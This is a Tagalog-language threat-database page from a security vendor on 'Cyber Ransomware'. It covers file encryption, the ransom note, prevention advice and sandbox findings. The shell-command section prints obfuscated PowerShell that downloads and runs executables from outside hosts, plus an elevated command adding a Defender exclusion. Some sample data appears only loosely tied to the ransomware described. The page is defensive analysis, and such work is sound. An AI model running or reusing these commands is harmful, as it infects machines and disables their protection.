Cyber Ransomware
Banta ng Scorecard
EnigmaSoft Threat Scorecard
Ang EnigmaSoft Threat Scorecards ay mga ulat sa pagtatasa para sa iba't ibang banta ng malware na nakolekta at nasuri ng aming research team. Ang EnigmaSoft Threat Scorecards ay sinusuri at niraranggo ang mga banta gamit ang ilang sukatan kabilang ang totoong mundo at potensyal na mga kadahilanan ng panganib, mga uso, dalas, pagkalat, at pagtitiyaga. Regular na ina-update ang EnigmaSoft Threat Scorecards batay sa aming data at sukatan ng pananaliksik at kapaki-pakinabang para sa malawak na hanay ng mga user ng computer, mula sa mga end user na naghahanap ng mga solusyon upang alisin ang malware sa kanilang mga system hanggang sa mga eksperto sa seguridad na nagsusuri ng mga banta.
Ang EnigmaSoft Threat Scorecards ay nagpapakita ng iba't ibang kapaki-pakinabang na impormasyon, kabilang ang:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Antas ng Kalubhaan: Ang tinutukoy na antas ng kalubhaan ng isang bagay, na kinakatawan ayon sa numero, batay sa aming proseso sa pagmomodelo ng panganib at pananaliksik, gaya ng ipinaliwanag sa aming Pamantayan sa Pagtatasa ng Banta .
Mga Infected na Computer: Ang bilang ng mga nakumpirma at pinaghihinalaang kaso ng isang partikular na banta na nakita sa mga infected na computer gaya ng iniulat ng SpyHunter.
Tingnan din ang Pamantayan sa Pagtatasa ng Banta .
| Popularity Rank: | 10,078 |
| Antas ng Banta: | 100 % (Mataas) |
| Mga Infected na Computer: | 3,489 |
| Unang Nakita: | October 15, 2021 |
| Huling nakita: | November 12, 2025 |
| Apektado ang (mga) OS: | Windows |
Ang malisyosong program na pinangalanang Cyber ay malware mula sa uri ng ransomware. Kapag naisakatuparan sa isang nilabag na system, agad itong magsisimula ng proseso ng pag-encrypt para sa lahat ng mga file sa device at idaragdag ang kanilang mga orihinal na filename na may extension na '.Cyber'. Halimbawa, ang isang file na may paunang pangalan na '1.doc' ay lalabas na ngayon bilang '1.doc.Cyber' pagkatapos ma-encrypt. Katulad nito, ang '2.pdf' ay magiging '2.pdf.Cyber", at iba pa. Itinuturo ng mga mananaliksik sa Cybersecurity na ang banta ng Cyber Ransomware ay batay sa Chaos malware strain.
Bilang karagdagan sa pag-encrypt ng file, binabago din ng Cyber Ransomware ang desktop wallpaper at bumubuo ng isang ransom note na pinangalanang 'read_it.txt.' Ang ransom note ay naglalaman ng mga tagubilin para sa mga biktima, kung saan ang mga cybercriminal na responsable para sa mga pag-atake ng ransomware ay karaniwang humihingi ng bayad bilang kapalit ng decryption key upang i-unlock ang mga naka-encrypt na file.
Talaan ng mga Nilalaman
Maaaring Mag-render ang Cyber Ransomware ng Maraming Filetype na Hindi Maa-access sa pamamagitan ng Encryption
Ang tala ng ransomware ay nagpapahiwatig na ang mahahalagang file ng biktima, tulad ng mga database, dokumento, at larawan, ay na-encrypt at maaari lamang i-decrypt sa pamamagitan ng pagbabayad ng ransom sa Bitcoin cryptocurrency. Karaniwang binabanggit ang halaga ng ransom, at binibigyan ang mga biktima ng paraan upang subukan ang pag-decryption sa limitadong bilang ng mga file bago sila magbayad.
Ang tala ay kadalasang naglalaman ng impormasyon sa pakikipag-ugnayan para sa mga umaatake o kanilang mga kinatawan. Gayunpaman, kung minsan ang impormasyon sa pakikipag-ugnayan ay maaaring hindi wasto, at ang biktima ay maaaring nahihirapang makipag-usap sa mga umaatake. Bilang karagdagan, ang wallpaper ng ransomware ay maaaring magpakita ng parehong mensahe at halaga ng ransom ngunit may magkakaibang mga detalye ng contact.
Sa karamihan ng mga pag-atake ng ransomware, ang pag-decryption nang walang paglahok ng mga umaatake ay karaniwang hindi posible. Kahit na binayaran ng mga biktima ang ransom, maaaring hindi nila matanggap ang mga decryption key o software na kinakailangan upang mabawi ang kanilang mga file. Bilang resulta, mahigpit na ipinapayo ng mga eksperto laban sa pagbabayad ng ransom, kahit na ang impormasyon sa pakikipag-ugnayan ay lehitimo at ang halaga ng ransom ay tila abot-kaya.
Mahalagang tandaan na ang pagbabayad ng ransom ay sumusuporta sa kriminal na aktibidad at hindi ginagarantiyahan ang pagbawi ng naka-encrypt na data. Dapat tuklasin ng mga biktima ang iba pang mga opsyon, gaya ng pagpapanumbalik ng mga file mula sa mga backup o paghingi ng tulong mula sa mga eksperto sa seguridad.
Tiyaking Protektahan ang Iyong Mga Device at Data mula sa Mga Banta Gaya ng Cyber Ransomware
Ang pinakamahusay na mga hakbang na maaaring ipatupad ng mga user upang protektahan ang kanilang mga device at data mula sa mga pag-atake ng ransomware ay may kasamang kumbinasyon ng mga proactive at reaktibong diskarte.
Una, dapat maging mapagbantay ang mga user sa kanilang online na aktibidad at gumawa ng mga hakbang upang maiwasang mabiktima ng mga karaniwang vector ng impeksyon sa ransomware, gaya ng mga phishing na email o malisyosong pag-download. Kabilang dito ang paggamit ng malakas at natatanging mga password, regular na pag-update ng software at operating system, at pagiging maingat sa mga kahina-hinalang email o link.
Pangalawa, ang mga user ay dapat magpatupad ng mga hakbang sa seguridad, tulad ng paggamit ng mapagkakatiwalaang anti-malware software at pagpapagana sa mga firewall na harangan ang hindi awtorisadong pag-access sa kanilang mga device. Dapat din nilang isaalang-alang ang paggamit ng mga endpoint detection and response (EDR) na mga tool, na makakatulong sa pagtukoy at pagtugon sa mga pag-atake ng ransomware sa real time.
Pangatlo, dapat na regular na i-back up ng mga user ang kanilang mahalagang data sa isang panlabas na mapagkukunan, tulad ng isang serbisyo sa cloud o isang panlabas na hard drive. Makakatulong ito na matiyak na kahit na nahawaan ng ransomware ang kanilang device, maa-access pa rin nila ang kanilang data nang hindi nagbabayad ng ransom.
Pang-apat, kung sakaling magkaroon ng ransomware attack, dapat iwasan ng mga user ang pagbabayad ng ransom dahil maaaring hindi nito ginagarantiya ang ligtas na pagbawi ng kanilang data at maaari ring hikayatin ang karagdagang kriminal na aktibidad. Sa halip, dapat silang humingi ng propesyonal na tulong mula sa mga eksperto sa seguridad at isaalang-alang ang pag-uulat ng pag-atake sa tagapagpatupad ng batas.
Sa wakas, ang mga user ay dapat manatiling may kaalaman tungkol sa mga pinakabagong banta sa ransomware at umuusbong na mga diskarte sa pag-atake upang manatiling may kamalayan at handa na protektahan ang kanilang sarili laban sa mga potensyal na pag-atake.
Ang buong teksto ng ransom note na ibinaba ng Cyber Ransomware ay:
Huwag mag-alala, maaari mong ibalik ang lahat ng iyong mga file!
Ang lahat ng iyong mga file tulad ng mga dokumento, larawan, database at iba pang mahalaga ay naka-encrypt
Anong mga garantiya ang ibinibigay namin sa iyo?
Maaari kang magpadala ng 3 sa iyong mga naka-encrypt na file at i-decrypt namin ito nang libre.
Dapat mong sundin ang mga hakbang na ito Upang i-decrypt ang iyong mga file :
1) Sumulat sa aming e-mail :test@test.com ( Kung sakaling walang sagot sa loob ng 24 na oras tingnan ang iyong spam folder
o sumulat sa amin sa e-mail na ito: test2@test.com)
2) Kumuha ng Bitcoin (Kailangan mong magbayad para sa decryption sa Bitcoins.
Pagkatapos ng pagbabayad, ipapadala namin sa iyo ang tool na magde-decrypt ng lahat ng iyong mga file.)
Cyber Ransomware Video
Tip: I- ON ang iyong tunog at panoorin ang video sa Full Screen mode .
Pagtatasa ng ulat
Pangkalahatang Impormasyon
| Family Name: | Cyber Ransomware |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
6ae50bdc7246401c666cd7e1b200d87a
SHA1:
ec759c5df1845d1109fe2518380233ae1854850f
Laki ng File:
1.84 MB, 1839616 bytes
|
|
MD5:
92a4a3aa4b40e95e8ca1d015c048246b
SHA1:
443a688cc83423c7511d56b626f85a392e798ac1
Laki ng File:
5.12 KB, 5120 bytes
|
|
MD5:
969c9e50187024581e8943a2d8ed9d2d
SHA1:
57cec27d4e6c7714265cad52f7fd9cf58f68bb82
SHA256:
C78A44442518C4EC39EF4E85C331C5CDD25C92FC92A80010C6F6DC3F59B1C42D
Laki ng File:
4.61 KB, 4608 bytes
|
|
MD5:
d1657a06fd2a757c43372f77ed433f30
SHA1:
48d0f17e206fdcff74121783989c90117ee411f4
SHA256:
0AFC88FC7DD731CF7D5884C415D5A27DC4FB39EB54DC890257AFEA947FC05725
Laki ng File:
4.54 MB, 4536320 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have debug information
- File doesn't have exports table
- File doesn't have relocations information
- File doesn't have security information
- File is 32-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
Show More
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
File Traits
- HighEntropy
- No Version Info
- x86
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 8 |
|---|---|
| Potentially Malicious Blocks: | 7 |
| Whitelisted Blocks: | 1 |
| Unknown Blocks: | 0 |
Visual Map
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- ClipBanker.VA
- ClipBanker.VB
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\pshost.133968239486036860.2548.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.133973844142271624.5256.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134074942406200962.1348.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\cheat.dll | Generic Write,Read Attributes |
| c:\users\user\appdata\local\launcher.exe | Generic Write,Read Attributes |
| c:\users\user\appdata\local\launcher.ini | Generic Write,Read Attributes |
| c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_16.db | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_idx.db | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_0zdqbhap.r32.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_24snuqhq.oyp.ps1 | Generic Write,Read Attributes |
Show More
| c:\users\user\appdata\local\temp\__psscriptpolicytest_al3g5ul4.lob.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_aocz5vmr.rla.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_dv4pkhv1.qlu.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_iqv5olmb.tfb.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_ruwcjycv.ppp.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_ux1vmtfo.12w.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\album_td_3-8-0_activation.exe | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\father.bat | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\father.bat | Synchronize,Write Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\modular.bat | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\modular.bat | Synchronize,Write Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\modular.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\modular.ps1 | Synchronize,Write Attributes |
| c:\users\user\appdata\local\temp\ixp000.tmp\tmp4351$.tmp | Generic Write,Read Attributes,Delete |
| c:\users\user\appdata\local\temp\ttrj.exe | Generic Write,Read Attributes |
| c:\users\user\deployment_test.exe | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 넜泝Ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey |
Show More
| HKLM\software\microsoft\windows\currentversion\runonce::wextract_cleanup0 | rundll32.exe C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Vebexpvr\AppData\Local\Temp\IXP000.TMP\" | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ᭖洢Ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 洧Ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder::0 | C:\Users\Vebexpvr\AppData\Local\Launcher.exe C:\Users\Vebexpvr\AppData\Local | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0::1 | Z1 敖敢灸牶 B 뻯 . Vebexpvr | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1::0 | V1 嫬齤灡摰瑡a@ 뻯啮坤嫬齤. 穗 붽æappdata | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0::0 | P1 嫬齤潬慣l< 뻯嫬齤嫬齥. 穘 ˑQlocal | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0\0::nodeslot | | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0\0::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bags\132\shell::sniffedfoldertype | Generic | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots | ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 椓嵌Ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ﻒ⍮味ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | 㴠 ȁ 龡^ 8 獖} | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Syscall Use |
Show More
206 additional items are not displayed above. |
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
open C:\Users\Vebexpvr\AppData\Local\Launcher.exe
|
open C:\Users\Vebexpvr\deployment_test.EXE
|
cmd.exe /c father.bat
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Start-Process -WindowStyle Hidden -FilePath powershell -Verb RunAs -ArgumentList '-NoProfile -Command Add-MpPreference -ExclusionPath \"C:\Users\Vebexpvr\*\"
|
open powershell -EncodedCommand "PAAjAHYAYQBwACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGEAZABvAGIAZQAtAHAAbAB1AGcAaQBuAC4AaQBuAGYAbwAvAHkAYwAuAGUAeABlACcALAAgADwAIwBqAHMAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAZABzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAdAB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHkAYwAuAGUAeABlACcAKQApADwAIwBlAGEAdgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAGQAbwBiAGUALQBwAGwAdQBnAGkAbgAuAGkAbgBmAG8ALwB5AGMAdgAuAGUAeABlACcALAAgADwAIwBqAHEAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAcQB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGMAdABjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHkAYwB2AC4AZQB4AGUAJwApACkAPAAjAGkAZgBpACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAZwBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAG0AZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB5AGMALgBlAHgAZQAnACkAPAAjAHYAcQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAdABiACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwByAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB5AGMAdgAuAGUAeABlACcAKQA8ACMAegB2AHQAIwA+AA=="
|
Show More
open powershell -EncodedCommand "PAAjAHQAegBsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGEAZABvAGIAZQBoAGUAbABwAC4AbgBlAHQALwB3AGkAbgA4ADYALgBlAHgAZQAnACwAIAA8ACMAegBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAGwAZAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHMAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB3AGkAbgA4ADYALgBlAHgAZQAnACkAKQA8ACMAaAB6AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgBjAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGgAcgB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHcAaQBuADgANgAuAGUAeABlACcAKQA8ACMAbgB2AG0AIwA+AA=="
|
open powershell -EncodedCommand "PAAjAGsAYwBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAcwBtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAZABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAdABlACMAPgA="
|
open C:\Users\Qoceadrm\AppData\Local\Temp\Album_TD_3-8-0_Activation.exe
|
open C:\Users\Qoceadrm\AppData\Local\Temp\ttrj.exe
|
